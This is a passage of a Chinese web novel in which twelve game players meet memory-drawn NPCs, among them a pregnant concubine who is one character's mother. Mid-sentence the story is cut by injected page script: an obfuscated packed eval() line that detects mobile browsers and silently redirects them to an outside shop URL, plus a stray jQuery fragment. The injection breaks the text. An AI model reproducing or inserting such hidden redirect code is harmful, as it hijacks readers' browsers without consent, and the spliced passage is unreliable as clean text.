内堂深处的走廊比想象中的更长。
灰白色的光从墙壁表面渗透出来，不是从任何一盏灯发出的，而是像墙体本身在发光。两侧的墙壁是深色的木板，上面有着深浅不一的纹理和斑驳的旧痕，某些地方能看见刻上去的划痕，像是指甲或是其他钝器在木头上留下的印记。
十二个人沿着走廊慢慢往前走。脚步声在狭窄的空间里被放大，又被两侧的木板吸收，形成一种沉闷的回响。林昭走在最前面，林安诚跟在她身侧，灰兔子的耳朵随着步伐轻轻晃动。谢意走在队伍中段，紫眼睛扫过两侧墙壁上那些划痕。某些划痕的形状隐约像是字，又被更多更乱的线条覆盖住了，分辨不出原来的内容。
走廊的尽头是一扇敞开的木门。门内是一个更大的房间。天花板上吊着一盏油灯，灯芯在玻璃罩里燃着细小的火苗，把房间照成一种昏黄的、油浸浸的色调。房间中央摆着一张长桌，桌面上铺着暗红色的绒布，布面上有深浅不一的渍痕。长桌两侧站着——或者说是"呈现着"——一些身影。
谢意最先注意到的是靠墙站着的一个小孩。很小，五六岁的样子，浅色的头发，深色的眼睛。穿着一件灰色的小T恤，站在房间阴影和灯光的交界处。他的面孔在暖光里清晰可见——圆圆的，带着婴儿肥，皮肤很白，眼尾有一道浅浅的旧疤，从眉梢斜划到颧骨。他站在那里，深色的眼睛看着走进来的人群，嘴唇微微抿着，像在等一个他认识的人。
缩小版的陆执。和谢意梦里的那个小孩一模一样。
谢意停住了脚步。他看着那个小孩，梦里的触感还残留在额头上，温的，轻的，像一片被风吹落的花瓣。小孩也看见了他。他的眼睛亮了一瞬，嘴角动了动，像想喊什么但忍住了。他没有说话。他只是站在阴影和灯光的交界处，安静地、耐心地、像他每次等待谢意回来时一样。
林昭的目光扫过房间里的其他身影。她的视线从缩小版陆执身上移开，像掠过一件不重要的事。然后她看见了房间另一侧站着的一个小女孩。大概七八岁，穿着洗到发白的旧衣服，头发扎成两股歪歪扭扭的麻花辫。她站在那里，双手垂在身侧，面孔和谢意身边站着的那具尸体一样，是林昭小时候的样子——但表情完全不同。小女孩的面孔是冷的，像一块被冻住的石头，没有任何情绪浮在表面。她看着走进来的人群，目光没有在任何人身上停留。
林昭的呼吸停了一拍。她看着那个小女孩——那个自己——看了几秒，然后移开了目光。她的脸上没有出现那种裂痕，但她的手攥着林安诚的那只手微微握紧了一下，又松开了。
林安诚重瞳在那个小女孩身上停了一拍。她没有见过童年的林昭，但她认识她姐姐的轮廓——下颌的弧度，站姿的重心位置，肩膀微扬的角度。她看着那个小女孩，看了几秒，然后垂下眼，看向房间中央长桌的边缘。
然后她看见了另一个人。
房间的角落，有一张旧木椅。椅子上坐着一个年轻女人，腹部隆起，明显怀着身孕。她穿着一件深蓝色的旧布衫，头发用一根木簪挽在脑后。她的脸微微侧着，垂眼看着自己隆起的腹部，一只手搭在上面，姿态安静得像一幅被挂在角落里的旧画像。
她的面孔在油灯昏黄的光线下被照得很清楚。和林安诚有八分像。相同的眉眼弧度，相同的下颌轮廓，甚至嘴角抿起来的弧度都如出一辙——只是更成熟一些，带着孕妇特有的丰润和倦意。
林昭看见她的那一瞬间，整个人停住了。
她的手依然握着林安诚，但她的背僵直了半秒。那种僵硬像一根被拉到极限的绳子，表面看不到痕迹，但内部的纤维正在一根一根崩断。她站在房间门口，看着角落里那个坐在旧木椅上的孕妇，呼吸变浅了一度。
"……"她没有出声。她的嘴唇动了一下，但没有说出任何字。
那个孕妇没有抬头。她依然垂眼看着自己的腹部，手搭在隆起的弧线上，像在感知腹中孩子的胎动。油灯的火苗在她头顶轻轻晃动，把她的影子投在身后的木板墙上，拉成一片深色的、模糊的轮廓。
林安诚站在林昭身侧，重瞳也在看那个孕妇。她的目光在那张和她有八分相似的脸上停留了很久，像一个在慢慢辨认字迹的孩子，一个字一个字地拼凑含义。她的嘴角抿了一下，然后她抬头看了看林昭的脸。林昭的面容依然是平的，但她的嘴唇线比平时更薄，握着她手的力道又紧了一瞬。
谢意走到林昭身侧，他的声音不高不低："认识？"
林昭沉默了几秒。"……认识。"
她开口之后声音是稳的，但尾音比平时短了一截，像被什么东西截断了。她看着那个孕妇，目光里有一种很深很沉的东西在翻涌，但没有涌出表面。"她是我小妈。也是林安诚的母亲。"
林安诚的手在她掌心里轻轻蜷了一下。林昭感觉到了，她没有低头看她妹妹。
"她怀的那个孩子，就是她。"林昭说，声音压得很低，只有周围几个人能听见，"我爹——林山——把她的肚子弄大了。她是我妈的妹妹，嫁过来给我爹做妾的时候刚满十六。我那时候已经懂事了。"
她停了一下。"后来她生了。生了一个女孩。全村都说那个孩子有问题。那双眼睛——"她没有说完，但所有人的目光都落在了林安诚的重瞳上。重瞳在昏暗的光线下像两颗深色的石头，沉默地看着自己还没出生的母亲。
林安诚站在她姐姐和那个孕妇之间。她看着那个坐在椅子上的年轻女人，腹部隆起，手搭在自己未出生的孩子身上，垂着眼，嘴唇微抿。那张和她有八分相似的面孔在油灯下显得安静而遥远，像一张还没被完全冲洗出来的照片，轮廓清晰但细节模糊。她不知道自己应该有什么感觉。她太小了，情感还没有来得及被训练出对应的形状来应对这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814560|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
种场景。她只是看着那个女人，重瞳里倒映着她微微隆起的腹部和昏黄的灯光。
那个孕妇从头到尾没有抬头。她没有看任何人，没有看林昭，没有看林安诚。她只是垂眼看着自己的腹部，像一个已经被框定好了功能的道具，在一个被指定的位置，维持着被指定的姿态。
林昭收回了目光。她转过身，走回长桌旁边。她的脚步依然稳，每一步都踩在同样的节奏上，仿佛刚才什么都没有发生。但谢意注意到她握着林安诚的那只手，指腹在小孩的手背上轻轻摩挲了一下。极轻的，几乎感觉不到的安抚。像在说，我在这里。
长桌暗红色的绒布面上，那些深浅不一的旧渍像是一层被折叠起来的时间。十二个人围在长桌两侧。油灯的火苗在他们之间投下晃动的暖光，把每一张面孔都照得柔和了一些。每一个NPC都保持着各自的姿态——缩小版的陆执依然站在光影交界处，那个小林昭依然冷着脸垂手站着，孕妇依然坐在角落，垂眼看着自己腹部的弧线。
谢意站在江野和许清寒之间。他看了一眼缩小版的陆执，小孩正朝他这边望，深色的眼睛在暖光下亮晶晶的，嘴角压着一个想翘起来的笑意，但他忍住了没有笑出来。谢意看着他那副"我想叫你但我不能"的表情，喉间涌上一股轻微的气流，压下去了。
许清寒站在他身边，顺着他目光的方向看见了那个小孩。他看了片刻，低声说了一句："……那是谁？"
"一个我认识的人。"谢意说。
他从口袋里摸出那只小玻璃瓶，瓶里的淡紫色沉淀物在灯光下微微转了一下。他握着它，紫眼睛扫过房间里的所有NPC，一个一个地看过去。缩小版陆执，年轻版的林昭，怀孕的年轻女人——这些面孔像从每个人的记忆深处取出来的拓片，被安放在这个房间里，组成一个完整的、正在缓慢呼吸的场景。他握紧口袋里的玻璃瓶，感受着瓶壁的凉意贴着他的指腹。
"十二个玩家，对应的NPC不止十二个。"徐晓推了推眼镜，声音很轻，"但出现在这个房间里的，全部都是和某个玩家直接相关的。"
"直接相关是什么意思？"江野问。
"有关系的。血缘的、记忆的、情感上的。"徐晓推了推眼镜，"出现在这里的每一个NPC，都和某个人有连接。那个小孩和谢意。那个小女孩和林昭。那个孕妇和林昭、林安诚。"
"剩下的人呢？"江野转头看了看其他七个陌生玩家，"他们对应的NPC在哪？"
他的话音未落，房间那扇半掩的木门被人从外面推开了。一阵潮湿的风从外面涌进来，带着雨后泥土和青草的气味，卷进了房间中央。
门口站着一个穿着旧布衫的男人，四十岁上下，皮肤黝黑。他的目光越过所有人，落在了角落里那个孕妇身上，然后他开口说话，声音沙哑而稳："你在这里坐着干什么？该回去了。"